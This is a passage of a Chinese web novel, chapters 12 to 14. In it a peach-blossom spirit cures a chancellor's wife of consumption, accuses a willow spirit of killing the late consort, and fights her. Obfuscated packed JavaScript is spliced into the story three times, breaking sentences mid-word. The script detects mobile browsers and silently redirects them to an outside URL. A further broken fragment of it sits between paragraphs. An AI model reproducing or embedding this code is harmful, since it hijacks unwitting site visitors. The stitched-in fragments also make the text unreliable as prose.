崔朔挑眉,没有立即答应,转手为两人倒了一杯茶,“原来陶姑娘深夜造访便是为了母亲。”他将茶推到女孩手边,顿了一下才收回手,抬眼微微一笑,“不知姑娘所求为何?” 她尚有些尴尬,捧住温热的茶盏喝了一口,指甲无意识扣起杯壁,脑子飞速旋转思考说辞,“噢,是这样的,不是跟你讲了吗,我是花神花绮英,这几日夜观天象发觉象国在不久的将来会有一位天降紫微星出在宰相家,便想要照拂一二,然而却意外发现主母......身子骨应该不大好吧?” 果然,男人脸上故作温良的面具在她话音落地的瞬间出现一丝龟裂,眼角眉梢的狠厉气息愈显浓厚,“姑娘果然厉害。” 桃花精笑了一下,努力让自己显得更加可靠,“咳咳,所以我这次前来就是想要治好你的母亲!”她坑蒙拐骗的同时也不忘了合理利用自己在凡世间的力量,将躲在身后的男孩揪出来推到二人之间,笑容可掬:“这是皇帝的命令哦!” 今晚过去那么久,崔朔才终于将目光放在最不该出现在这里的人身上,这是他第一次那么近距离观察这位稚嫩的九五之尊,说起来他们还是表兄弟,长相却并不相似,也不知道这个孩子遗传了谁的样子,总归不是柳姓人的。 他面上淡淡,丝毫看不出一个臣属面对圣上该有的敬畏之心,无视男孩眼中微不可查的敌意,他颔首道:“好,我会安排的。” 这回轮到桃花精震惊了,“你信了?” 崔朔眸中含笑:“难不成你骗我?” 明明是令京城——不,甚至是整个象国连同北部诸境都闻风丧胆的铁面小将军,此时此刻的他却全然不见昔日的冷肃气息,烛火明明灭灭荡漾在微凉的茶水中,一起晃动的还有他眼中直白的笑意。 “不是,没有,怎么可能,我从不骗人。”她喜出望外,信誓旦旦保证:“你放心,只要你让我见你母亲一眼,绝对能把她的病治好!不过你还真是没有一点防备之心呢,明明只是第二次见面就如此相信我,虽说我是好妖——啊不是,好神没有错啦,但你就真的一点不怕我——” 她忽然停住,眼珠一转说出曾经柳精对自己说过的话:“你就真的一点不怕我是先对你示好,待你卸下防备之心,再将你千刀万剐吗?” 不得不说桃花精有时候真的是很顽劣的妖精,捉弄人的把戏手到擒来。 郑烨听到这里差点没忍住笑出声,赶紧低下头又躲回了女孩身后,他为发现绮英大人也有孩童的一面而欢心幸福,可是下一瞬,他就无法笑出来了,浑身上下涌遍密密麻麻的刺痛感,心脏更像是被涂了一层黏糊糊的泥巴那样闷得不行。 他不知道该用什么词语来形容此刻的感受,只知道自己很不喜欢别人也能被绮英大人捉弄。 明明绮英大人以前只跟他玩耍的,可是原来在他不知道的从前,绮英大人还有认识的凡人,也会逗那个凡人玩。 崔朔怔住,他愣神的样子有点呆,直接把桃花精给逗笑了。 反应过来的男人看着面前捂嘴偷笑的女孩,突然像是被烫到一般移开目光,泛红的耳尖在昏暗的房间里不被任何人察觉,唯有他胸口的剧烈鼓震在清楚明白地告知他少年人的羞气。 直到被女孩一路拎着衣领回到太极宫,郑烨依旧闷闷不乐。 而桃花精才不会注意一个小孩子时好时坏的情绪呢,一回来便飞回桃木里研究治疗柳玉珍姐姐的办法。 毕竟她先前于宰相府内说的确实不是假话。 因果于凡人而言是很虚无缥缈的存在,哪怕他们无时无刻不在被因缘果报的隐形丝线牵引着,他们也将会把一切归因于天道轮回。可这并不代表着他们就相信了天道的存在,大多时候,一切未曾见过的事物在凡人心中都是自我安慰的幻想,尽管他们并不承认。 知道柳玉珍姐姐患病是自然而然的结果。 推演因果是每一个妖精天生就掌握的技能,这便如凡人利用五感接收外界信息一样是无需思考便具备的能力。 贴沿相府院墙疾走的大夫、院墙边捧着药材边走边叹气的侍女、扶墙咳嗽不止的女人...... 在这片天地中,哪怕是随处可见的一颗石子,也一定牵扯了数不尽的因果。 有崔朔的帮助,桃花精很容易便以隐世仙医之徒的名头混进了相府。 她再次感叹:“你对我还真是放心。” 崔朔帮女孩提着做样子的药箱,闻言低头浅笑:“陶姑娘不是花神么,总不至于对我们小小凡人别有所图,况且我的母亲是很善良的女子,比起怀疑陶姑娘,我更愿意相信是苍天有眼,派您来拯救我的母亲。”他嘴上承认她是花神花绮英,却还是喊着陶姑娘。 桃花精轻快的步子一顿,摸了摸鼻子目光移向别处,“放心,我肯定治好你娘。” 初诞生之际,桃花谷一片惨败之景,年幼的她不仅没能得到上一代桃花精留给自己的任何益处,还有一大堆烂摊子要收拾,幸亏有好心的黄鼠狼精愿意帮忙照顾,除了帮她打理桃花谷外,还常常教与她许多厉害的法术,其中便有帮助疗愈凡人疾病的。 不过这一条术法却不是黄鼠狼精主动教给她的,而是她想学,可绝大多数妖精与凡人无甚交情,怎么会知道如此奇怪的术法,她实在无处可学,便逼着黄鼠狼精想办法研究出来教会她。 她倒是有信心治好柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002181|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉珍姐姐的疾病,不过具体要花费多少灵力以及用多长时间,还是得亲自观察过后才能确定。 柳玉珍的姐姐名叫柳玉玢,两人相差十余岁,姐妹两人在偌大的京城相依为命,原先关系是很好的,只是自从柳玉珍成亲后便性情大变,几番与姐姐争执不休,两人便逐渐生疏了。不过据说后来姐姐因为妹妹惨死对当今太后心怀怨念,多次于府内咒骂,引得不少人怀疑这是否会影响宰相在朝堂上的态度。 毕竟崔相夫妻是出了名的恩爱。 怪不得那日陵园相见,崔朔这种看上去便事不关己高高挂起的人会对太后如此贬低,原来是受了其母的影响。 “不过我看你好像跟小皇帝也不亲近?”眼看就要到了,桃花精没有纠结这个问题的答案,推门而入。 柳玉玢的病比她想象中要严重的多,是肺痨。 她不知该庆幸自己两百年前给凡人治的第一个病就是肺痨,还是为此事又多了一个与两百年前重合的地方而猜疑不止。 从口味一样独特的甜糕,到柳家姐妹与柳玉冷相似的姓名,再到一样的肺痨。 只不过当初研制那种甜糕的女人也是得肺痨的女人,如今却分摊到了一对姐妹身上发生。 不论这一切是巧合还是陷阱,坐以待毙都不是桃花精的行事风格,否则她也不会主动来到凡间了结曾经的牵扯羁绊了。 她在宰相府足足待了两个多月,第一个月过去时焦躁不安的崔相便开始对她感到不耐烦,怀疑自家儿子是不是被骗了,好在柳玉玢亲口出面言明身体好了许多,加上崔朔在旁再三保证她医术非凡,崔相这才稍微放下心来,没有将她拉出去砍头。 要知道肺痨可是不治之症,她愿意花费那么多灵力与天材地宝帮助一个不认识的人治疗已经非常不错了,这群人不知道感激就算了竟然还敢对她不敬,要不是看在自己也有所图的份上,她才懒得管他们呢。 想当初她帮那个女人治病时自己也不过是个刚刚诞生的小妖精,那时候哪有现在这么好的条件,她几乎是赔了整条命才把那个孱弱的女人救过来,之后还挨了女娲娘娘不少惩罚,整个桃花谷都因此许多年不得恢复。 想到这里,好不容易在年末把柳玉玢给治好了的桃花精幽幽叹了口气,好得那个女人被她救过来后会做一些力所能及的事情报恩,比如春天做甜糕,夏天做冰酪,秋天会做好吃的月饼跟她一起看月亮,等到了冬天啊,到了冬天,那个女人很怕冷,所以往往会做吃起来很暖和的炖菜端给她吃,每到这个时候还要把锅里为数不多的肉挑给她,真是......明明自己身体都那么差,都不知道好好吃饭补充营养,她一个妖精吃那么多肉做什么啊。 她越想回忆就越多,越回忆便越伤感,手上不自觉蘸了茶水在桌上描摹着记忆里的场景。 身体终于好透的柳玉玢听儿子说了小神医这段时日以来的辛苦付出,心下感激非常,特意亲自登门拜谢,刚刚进了院子里便见到小小一个女孩托着下巴坐在外面的石凳子上不知道在想什么,脸上带着与她年纪很不相符的悲伤。 女人脚步微微顿住,转头拍了拍儿子的手示意他在这里等着,自己一个人慢慢走过去。 不知道女孩想了什么,就连柳玉玢到了身后都没察觉,女人好笑地摇摇头,走近了弯腰看向桌面濡湿的痕迹,下意识念出声:“陶丽绾......” 12. 第 12 章 桃花精失手打翻茶杯,恼怒:“你是谁?” 倾倒的茶杯铺满她手边的半张桌子,顺着桌沿滴滴答答落下。 柳玉玢被女孩的突然翻脸吓到,一时间愣在原地说不出话。 察觉到这边情况不对劲的崔朔匆匆赶来,而桃花精注意到难得慌张起来的男人才后知后觉反应过来这个女人是谁。她眯眼再次看向捏紧绣帕眼神不安游移的女人,一会儿后方脸色稍霁,笑了笑:“原来是柳夫人,您气色好了许多,我差点没认出来呢。” 她还记得为柳玉玢治病时,躺在重重纱帐之后的女人如同一张白纸般苍白病弱,了无生气,可如今再见,女人身着艳色服饰,头戴珠花,面颊红润,神态鲜活,全然不见昔日病态。 于是桃花精笑的更开心了,再次夸赞道:“柳夫人真是变了个样,确认您好我也就安心了。” 另一边的柳玉玢见女孩态度和缓不少,一颗紧紧吊起的心也终于放了下来,闻言还有些不好意思:“之前仪容不整的,叫姑娘看笑话了。” “怎么会!”桃花精很夸张的瞪大眼睛,不知从哪掏出一块手帕将桌上的水渍擦干净,而后亲昵地拉着女人坐下来,开门见山:“柳夫人,实不相瞒,我有很重要的事情想要问问您,不知您现在是否方便?” 断断续续的咳疾折磨了柳玉玢两年多,更是在今年入了秋之后愈发严重,甚至到了无法下床的地步。这段时间以来一直是女孩陪在自己身边悉心照料,毫不夸张的说,半只脚都踏入了鬼门关的柳玉玢是被这个女孩生生给拉回来的,况且这个人还是孩子的朋友,她自然无所不应:“自然。朔儿都与我说过了,只是......我似乎从未见过姑娘,不知有何事是能为姑娘排解一二的呢?” 桃花精见柳玉珍姐姐如此配合,心中十分满意。她当然可以像之前用簪子推演柳玉珍身世那样要一件柳玉玢的贴身之物,借由此探察女人的一些生平事迹,如此以来不仅能节省许多时间,还能保证所得到的信息不会有假。 可是,灵力推演虽能窥得一角天机,却终究浅薄,远不及承载着那份记忆与情感的当事人亲自诉说。因果如树,情感为根,牵连错综,蔓延生长为一根又一根的枝丫,众人所见皆是主干一隅,唯有亲自进入树木之上,身处饱经日晒雨淋的冠叶之中,方得知这株树木风霜几度、枝叶繁枯。 她先试探性地提到柳玉珍,言明自己曾经为诊治太子侧妃在其府中住过一段时间,见女人只是面露怀念之色,并没有对这个话题表现任何抗拒之色,这才继续说下去。 桃花精回忆着郑烨偶尔与她闲谈时讲述过几回的母亲,缓缓说道:“一开始我是很怕娘娘的,可住的久了便看出来娘娘的脾性其实是很温柔的,对待我们很亲切,常常把自己做的甜糕分给我吃,到现在我还记得那个味道呢,清甜凉爽,入口即化,好吃极了。” 她笑了一下,有些不好意思的样子,其中还夹杂着真切的惋惜:“虽然我来此地确是有别事相求,不过也很想念当初的味道,辞别师娘来到京城几番寻找,都未能再品尝到当初的美味。” 柳玉玢一怔,眼眸中闪过一丝细微的波动,随即轻轻颔首:“的确如此,我有印象。”她低下头,迟迟没有说话,过了一会才扭头吩咐崔朔:“朔儿,你去我屋里把准备给陶姑娘的谢礼拿过来。” 桃花精不用想都知道女人口中的谢礼是什么,连连摆手说不要,也不知道她是哪里触到了奇奇怪怪凡人的奇奇怪怪笑点,不仅柳玉玢以袖掩面轻笑,就连一直跟个雕塑似的面无表情站在距离她们不远处的崔朔都笑了出来。 这可真是太难得了,他笑起来太好看了,她不由得看出了神,等男人很快收了笑看过来时,便是对上她一双笑盈盈的眼睛。 那个名叫崔朔的男人莫名其妙脸蹭一下就红了,急急忙忙朝母亲行了个礼便离去了。 桃花精挠了挠头,不明所以看向含笑望着自己的柳玉玢,搞不懂凡人变化比翻书还快的情感,干脆也冲女人笑笑。 于是柳玉玢笑得更开心了,一副看破不说破的样子,可很快便笑容一滞,敛了神色,眼神躲闪,脸上闪过一丝复杂的情绪,缓缓开口:“谢礼当然是要给的,姑娘可是救了我一命,如何报答都不为过。” 话题已经偏了,不过她没等桃花精再次提起便主动说道:“我对陶姑娘说的甜糕有印象,是因为......因为这甜糕的做法其实是当今太后教给她的,这孩子自从成了亲便对那位太后娘娘唯命是从,简直是那女人的一条尾巴。自从从太后那里学到一种说什么是独门秘方的甜糕,一天能做八回,给认识的人都分了一遍。” 桃花精讶异,她听说的可是太子妃与侧妃水火不容争斗不休,如今到了亲姐姐口中却像是关系很好的样子。 不过更为重要的是—— 那甜糕的秘方竟然是掌握在太后手中的吗? 她思索的认真,假如柳玉珍跟那个人没有关系的话,难不成柳玉玢的肺痨还真是巧合?这甜糕是那个人为上一代桃花精专门研制的配方,而这门配方流传了下来,还到了太后手里?不过也有可能太后与柳玉珍的情况一样,甜糕的做法也是太后从别人那里学来的...... 不对,还是不对,还有一个很重要的地方,“你认识柳玉冷吗?” 竹影因风碎,斑驳了女人近在眼前的面容,她比妹妹大了十几岁,现在大约是四十多岁的年纪,此刻像个孩童一般天真地歪了歪头,眼神如碧空般澄净,仔细看来,她明媚的打扮似乎与京城这个年龄段的女人很不相符,当然这可能不是什么应该注意的地方,“柳玉冷,那是谁?” “是把病传染给你的人。” 柳玉玢疑惑:“嗯?” 太镇定了。 在撒谎。 在隐瞒。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002182|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 眨眼间,桃花精双手插袖笑嘻嘻站起来,“没什么,我开个玩笑。柳玉冷便是如今的太傅大人呀,柳夫人久卧病榻想来不了解外面的事情,我看你们仨名字怪像还以为是姐妹呢,就开个小玩笑逗你玩呢,夫人不会介意吧?” 这样无厘头的玩笑任谁也会觉得奇怪,可柳玉玢坐在石凳上。仰头定定望着她,嘴角依旧带着浅淡从容的笑意:“陶姑娘真是有意思,怪不得阿珍会喜欢你呢。对了陶姑娘,我有一个不情之请,可否拜托桃姑娘在相府里多留一段时间呢?” 桃花精挑眉没有说话。 女人笑着站起来,神容温婉大方:“是这样的,我家朔儿十五岁便去了北方边境征战沙场,那里生活环境艰难无比,战场上又刀剑无眼的,朔儿身上到处是伤口,好几次身体没好透,就又提刀上马去与敌人拼命了……哎,我好几次让他按照太医的方子好好调养身子,这孩子就是不愿意,年初刚回来时便与他爹请命,说什么边境离不开他偏要回去。只不过随他爹去了一次皇陵后,不知道哪里想通了,又不肯走了。我想着趁他还愿意留在京城的这段时间,请姑娘帮他好好养养身子。” “不行。”她毫不犹豫拒绝,“柳夫人,我是看在原先娘娘的情面上才来为您治病的,我这一次下山可够久了,没有精力再去做别的事。还有,您不好奇当初娘娘她是生了什么病吗?” 女人脸上的笑意淡了几分。伸手抚过石桌,绕到桃花精身边,她长得很高,两人一起站起来时需要微微低头俯视桃花精,“阿珍身子骨一向很好的,打小就是个活蹦乱跳的孩子,她能生什么病。无非是先帝想让她尽快怀上孩子,请姑娘前去为她调养身子让她能够好生育吧。” 这倒是意料之外的回答,不过桃花精没忘了自己的真正目的,笑着说出让女人大惊失色的谎言:“不是,其实啊,娘娘她得的也是肺痨。”接着补全了自己刚才那个“玩笑话”:“我就下山两回,第一回碰上你的妹妹得肺痨,第二回碰上你得肺痨。刚才之所以那样说也确实是担心柳大人会不会也得这个病。”她再次强调了一遍:“我以为你们是姐妹呢,名字那么像。” 柳玉玢这回彻底冷静不下来了,身为宰相夫人的优雅从容消失不见,神色慌张地抓住她的手腕,眉头紧皱不可置信:“肺痨,你说肺痨?阿珍他怎么会得肺痨呢?她……这不可能呀、这怎么可能?她要是真得了肺痨,我怎么不知道?她怎么没有跟我说?” 桃花精不动声色抽回手,安抚激动的女人:“只是有肺痨的前兆,还没有真正发展成肺痨就已经被我治好了。想来娘娘也是不愿意让夫人担心,这才没有说出来。” 她从见面起就一直对柳玉玢编故事,也不知道这个也对她撒了谎的女人是否察觉出来。她想大约是没有的,毕竟女人脸上的惊疑不似作假。 桃花精捧住女人的手凑近,笑吟吟:“你真不认识柳玉冷?” 13. 第 13 章(小修) 御书房—— 柳大人闻不得香料的味道,御书房内已经许久没有出现过檀香了,柯良还记得先帝是很喜欢使用檀香熏香宫殿与书房,以此来营造宁静祥和的氛围,是以几个月前柳大人带着小皇帝来到许久未有人踏足的御书房闻到那股味道时,发了好大一通脾气,太后娘娘亲自赶来哄了许久,并下令不许宫内再出现任何香料。 他提着午膳轻手轻脚走进这片素雅静谧的宫殿之中,刚一抬头便对上了双手托着下巴发呆的小皇帝,往常碰上这种情况一定是要提点一番的,只是...... 柯良只看了一眼盘腿半躺在龙椅上看书的女人,便很快收敛了神色,恭敬走上去,“柳大人,这是太后娘娘亲自吩咐御膳房为您准备的餐食,太后还亲自下厨为您做了一份糕点,还请大人品尝。” 郑烨被香味勾的吸了吸鼻子,回过神抬眸直勾勾盯着柯良手里的食盒瞧,他坐在柳玉冷左手下方有一段距离的位置上,桌案还摆着刚刚临摹完毕的字帖,字迹轻飘飘的落不到实处。 因为他实在是太饿了。 柳玉冷每天都要到御膳房看书或是批阅奏章,她手上的奏章越来越多,每日在这里待的时间便越来越长,许多时候能从清晨待到月上中天。她是一个很苛刻的人,看书时不许别人打扰也不允许耳边出现任何动静,有时一整天郑烨都只能安静陪她在这个堆满书籍的屋子里发呆,她不吃饭,他也没法吃。 无聊倒没有过,毕竟他好像自出生起就在发呆,多数时候没人会搭理他,他身边没有人也没有什么可玩的,久而久之便养成了自己一个人自娱自乐的习惯。不过现在,他不需要再脑袋空空盯空气了,他的脑子里住进了一个让他怎么想都想不完的人。 是绮英大人。 想到绮英大人,郑烨突然就不饿了,心中涌现出无限感伤,可心底还是幸福的。一面单纯因为绮英大人而甜蜜愉悦,一面又因为太长时间没有见到她而失魂落魄。他当然应该相信绮英大人亲口做出的承诺——陪他到生命的尽头,可是...... 生命的尽头是什么样的呢?这对于小小的郑烨来说实在太过遥远,他看不到未来也没有过去,唯一存在的现在是没有绮英大人的现在。 耳畔忽然传来奇怪的声音,不远不近,他第一反应是捂肚子,而后才愣愣顺着声音的来源看过去,发现原来是柳玉冷的嗤笑。只见女人似是看到什么十分好笑的事情一般笑着摇摇头,命柯良在偏殿摆好饭食后放下书起身,凌厉的目光如同刀子射过来,对他吩咐:“赶紧把自己收拾收拾,一会有客人造访。”俨然一副御书房是我家的模样。 郑烨知道太后与柳玉冷仅仅是将他当做一只漂亮的花瓶装饰周围,甚至朝堂上的大臣也不过是把他视为他们手上的玉玺,借由他的名义肆意施展自己的滔天权力。以为是哪位官员来与太傅说事,他没放在心上,反正到时候他只需默默吃饭就好了。 然而真的等他一路小跑跟在柳玉冷身后进了偏殿时,映入眼帘的那个桃粉色身影还是叫他一瞬间便失了分寸。 是绮英大人! “绮英大——” “你个混账!”桃花精看见来人怒不可遏,端起桌上摆着的甜糕就往女人身上砸,一身得体官服的女人悠闲打了个哈欠,一个弯身躲掉,于是那盘样貌精致的甜糕便砸在了兴奋的小男孩脸上。 女孩眼底犹闪烁着愤怒的火焰,在见到被盘子砸破脑袋的男孩冷静了一瞬,冷声呵斥:“出去!” 郑烨已经好久不见绮英大人,心心念念两个多月的人突然出现在自己面前,却是从未见过的样子。碎裂的糕点从额头掉落模糊了一下视线,他两只小手握紧在胸口前,惊慌不安,留下一句“如果有用得上烨儿的地方,请绮英大人一定要说!”便匆匆离去了。 柳精面上看不出任何情绪,弯腰把地上还算完整的甜糕捡起放回盘子中,可惜道:“太后轻易不做这些的,好不容易做了一次甜糕还被你给打毁了,有什么火气不能忍一忍,快坐下吃饭。” 桃花精忍无可忍,一把打掉柳精的手臂质问:“少在这装模作样,你做的那些事我已经知道了!柳精,你跟我说实话,柳玉珍是不是你杀害的!” 女人依旧是云淡风轻的模样,哪怕在朝堂之上遭遇群臣质疑,她也能够面不改色笑眯眯骂回去,不过对于桃花精,她总是会额外留一分温柔,只是不知这份罕见的温柔究竟是留给哪一代桃花精的,亦或者是留给某个人! “你不要血口喷人。”她像是在看一个调皮不懂事的小孩,“凡事都要讲究证据,不能因为咱们都是妖你就随便给我扣帽子了。” “呵。”桃花精目光触及地上打落的甜糕,心脏剧痛,她猛地闭上眼睛,深呼吸一口气,而后睁眼直视这个人妖两界都很出名的女人,头脑异常清晰,“柳玉玢已经把事情都告诉我了。柳玉珍从前还住在相府时把是个孩童身体的你捡了回去,把你当做亲生妹妹一般疼爱,并在自己成亲时把你也带走了。” 话说到这里,柳精掩藏在长袖下的手指抽动了两下,眸光泛起冷意。 她顿了顿,继续说下去:“然而去了太子东宫的你没多久便毫不留情地倒戈去了还是太子妃的太后那里,并屡次三番协助太后对付柳玉珍。太后究竟是将柳玉珍当做朋友还是政敌我不清楚,但我可以肯定你,柳精,你绝不可能对柳玉珍有任何真心——” “住嘴!”柳精难得失态,粗鲁地打断桃花精,一直游刃有余的神情终于破裂,几乎称得上咬牙切齿:“你这个臭小鬼懂什么!我做这些还不都是为了——” 她的话戛然而止,细长的眉眼迸发出狠厉的气息,桃花精甚至能够看清她眼中攀延的血丝,不知为何,她竟从她眼中读到了悲伤。 桃花精立即摇摇头,掐了掐掌心暗自提醒不能被这个老妖精骗了,她上前一步逼问:“为了什么你说啊!你不说我来说,为了上一代桃花精,为了陶丽绾是不是!柳精,告诉我,你是不是从一开始就认识陶丽绾?太后和陶丽绾究竟是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002183|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么关系!为什么太后会做陶丽绾发明的甜糕,还有......” 她揪住女人的衣领,胸口因为过盛的怒火而起伏不定,“柳玉玢得肺痨是你的手笔吧,目的就是为了让我联想到曾经也得过肺痨的陶丽绾,从而引我深入调查此事,这样你就能顺理成章把我牵扯到你的计划里了。” 柳精深深凝望着她,嘴里不停呢喃“你什么都不懂”,最后更是在她话音落地的一瞬间将她用力推出去,两人几乎殴打在一起。 “你这家伙......”柳精压坐在桃花精身上,将女孩提起来愤愤斥责:“你以为你算个什么东西!?不过是个两百多岁的小妖精也敢朝我大呼小叫?看在上一代桃花精跟陶丽绾的情面上对你说过几句好话你还真当我是好惹的啊,啊?” 女人表情逐渐狰狞起来,强烈的愤怒、不甘以及一种掺杂着奇怪欲望的恨意混合在一起,令她不受控制地握住女孩的脖颈。在握上去的刹那,她有一瞬间的恍惚,下一刻腹部便被一双脚重重踹了上去,她几乎干呕出血,她的双手与她的脖颈产生了丝毫的分离,然而立即,她就再次用力掐了上去。 看见女孩哪怕发紫了也毫不畏惧的脸庞,她忽然笑了:“你以为我不敢杀你吗?你们桃花精怎么一个两个都这么傻,人类究竟有什么好的!上一个桃花精为了那个叫陶丽绾的女人魂飞魄散永世不得超生,而轮到了你,哪怕被上一代桃花精所谓的遗愿害的差点死掉,终日受天雷的责罚也不愿意放手,甚至陶丽绾都死了两百年你还幻想着找到她的后代!桃花精,你说你是不是太贱了?” 什么啊……这个该死的老妖精究竟在说什么鬼话……!说什么陶丽绾,到底谁在想那个死了两百多年的女人啊! 桃花精崩溃大哭,直接用头狠狠撞上去,将女人撞翻在地,她捂着嗓子又哭又咳个不停,却还是努力大声并清晰地说:“我真的很生气!因为知道了身为一代柳精的你竟然为了私欲残害无辜人类!” 明明、明明她所痛恨的,从始至终都只有逆天而行不守规矩的混账,包括上一代桃花精、柳精,还有她自己! 而那些让她拼尽全力,无论如何也要守护的,仅仅只是最平凡的生命。正是由于珍视,所以才忘不掉导致桃花谷生灵涂炭的上一代桃花精,厌弃无可奈何接受了“陶丽绾”这个名字的自己,以及—— “以及你,柳精。” 她泪流满面,抬起头直直看向满脸怀疑的狼狈女人,通红的眼眶无法掩盖她眸中闪烁的光芒。 “我生气、我讨厌你从来不是因为我将对于陶丽绾的遗憾发泄到了你的身上,而是因为失望于与我同为妖精的你,利用天地间最纯粹的灵力去残害无辜人类。无论柳氏姐妹与太后有何恩怨,那都是凡人们自己的事,就算其中有恶人也不该由我们来惩罚,不论怎么说,杀死柳玉珍、让柳玉玢得肺痨这种不治之症......都让我为你感到羞耻。” 额头被撞破的刺痛感已然微乎其微,柳精后退一步,如遭晴天霹雳。 14. 第 14 章 “陶丽绾”。 这个名字在桃花精还未诞生,仅仅是产生灵识的一刹那,就已经深深镌刻在她的灵魂之上了。 作为上一代桃花精为数不多留给她的东西,这个充满凡人味儿的名字其实还是可以接受的——比起被她搞得乱七八糟的桃花谷和离谱的执念。 睁开眼,她在这片广袤天地面临的第一个抉择就是桃花谷与陶丽绾。 桃花谷奄奄一息,让上一代桃花精倾尽所有也要守护的凡人女子陶丽绾也危在旦夕。 将体内薄弱的灵力全部输送给桃花谷——这是不需要经过思考就已经占据她全部心神的想法,因为她诞生于此,她是一代桃花精,这是她的使命与责任。 可是与上一代桃花精建立如此之深厚羁绊的陶丽绾又何其可怜,上一代桃花精的执念实在太过强烈,强烈到哪怕都身死道消了也绝不悔改,这份执念已然纠缠融化进其生命之中,最后与她存在的意义一同延续到了桃花精的灵魂深处。 尽管不想承认,她做不到对陶丽绾置之不顾。 因此当最后一滴灵力也渗入桃花谷龟裂的土壤之中后,她毅然决然奔向凡间,来到了“陶丽绾”这个名字真正的主人身边。 那真是一个平凡的女子。 平凡到令人愤怒。 她忍不住落下自己的第一滴眼泪,哭倒在地,她死死捂住自己的胸口,心脏疼的像是要裂开。 然而下一瞬,自头顶与肩膀处分别蔓延开来的温暖很快覆盖全身,她被紧紧抱在怀里,却感受不到任何禁锢,似乎只要轻轻一挣,这个脆弱的凡人就会血肉飞散。但她依旧像是被剪掉双翅还心甘情愿留在主人身边的鸟雀,所能做的只有用力回抱住女人,放声大哭。 桃花精抹去泪水,倔强看向柳精,“哪怕渺小如陶丽绾,我也会拼尽全力建立无数个因果去救她。柳精,或许你会觉得我当初找黄鼠狼精想办法治好凡人的肺痨是为了帮助上一代桃花精照顾好她,但是不是这样的。 守护陶丽绾只是因为我遇见了她。” 而陶丽绾正是那时的她所接触的最温柔最自由的生命。 桌上早已经冷掉的饭菜依然精美,正午的阳光过去,斜阳浸透了冬日的料峭,并不温暖。 柳精再也无法维持冷静,大声呵斥:“够了!别说了!桃花精,你这是把自己当成女娲娘娘了吗?不过是个两百多岁的臭小鬼你有什么资格教训我?不就是两个凡人吗......就算我不动手,太后也不会放过柳玉珍的。还有柳玉玢,我压根没想让她死,你不是把她救过来了吗,就是两个微不足道的凡人,你就为了她们跑到我这来大发脾气还把自己搞的这么狼狈?” 言罢,女人大手一挥,桃花精只觉脖子一凉,再摸过去红肿已经消去,打斗时弄乱的头发衣裳也重新变得干净整洁。 “你只骂我伤害过柳氏姐妹,那你又可曾想过我这十万年来救过多少人类?”柳精却没对自己施展法术,不知从哪掏出一块手帕万般嫌弃地擦拭额角血迹,凌乱的长发被她全部拨到一边,边缘几缕被干掉的血粘成一坨。 “不是这么算的。”桃花精很累,“杀人是原则性问题,哪怕你救了十万个人,可你只要在这之后杀了一个人,你就已经不是从前那个你了。柳精......柳玉玢不知道你做的一切,你去找女娲娘娘赎罪吧。” 柳精眼底有片刻的动容,很快便强迫自己收回视线,她简直无法理解:“你真的只是因为柳氏姐妹而气恼?” “不然呢?” 女孩的反问太过理所当然,就像是一开始她无法理解她那么崩溃只是因为她害了两个凡人一样,女孩也无法理解她的疑惑。 直到此时此刻,陡然撞进女孩纯粹眼眸的柳精才终于明白,为什么这个自诞生起就在犯错的小妖精依然被女娲娘娘喜爱与期待着,以及为何一众妖精修行数百年才能学会的法术,桃花精只需短短几日就能学会。 她惊人的学习天赋从来不是天道的偏袒,而是被她心中那份纯粹滋养的结果。 妖精是一个种族生命的进化与延续,集天地之精华的妖精们毕生所求不过是让自己的种族按照天道运行的规律生存下去,直到迎来下一代妖精的进化。因而越是心无杂念的妖精,他们吸收灵力的能力也就越强,成长的速度也就越快,周而复始进化的种族也便离天道越近。 柳精曾固执地认为桃花精是个离了凡人就不能活的臭小鬼,甚至因此心怀怨念,她不满于这个小妖精屡屡犯错还能得到女娲娘娘的偏袒,忌恨桃花精总是顾忌这顾忌那却还天赋异禀。 可是直到今日她才恍然意识到,原来心有杂念的从来不是这个有着纯净眼神的孩子,而是自己。 是啊,一个珍视所有生命几乎到了残忍地步的妖精,何尝不能称之为纯粹呢? 柳精埋头低声笑起来,越笑越癫狂:“哈、哈哈哈哈哈哈——桃花精啊桃花精,我真是小瞧你了......” 四周忽然平地起风,只见柳精身上被风吹的猎猎作响的官袍缓慢演变为鲜绿色的纱裙,她的头发也不知何时演变成了长可拖地的柳条,密密麻麻地向桃花精冲来。 桃花精一震,立即挥手布下阵法将两人一起拖进去,随即直接反手摘掉一直插在发间的一片柳叶向陷入妖态的柳精掷去。柳叶似箭,由疾风裹挟着冲入柳精周身弥散的雾气之中,她深呼吸一口气,后退半步伸手结印释放屏障,将自己护在一片白幕之下。 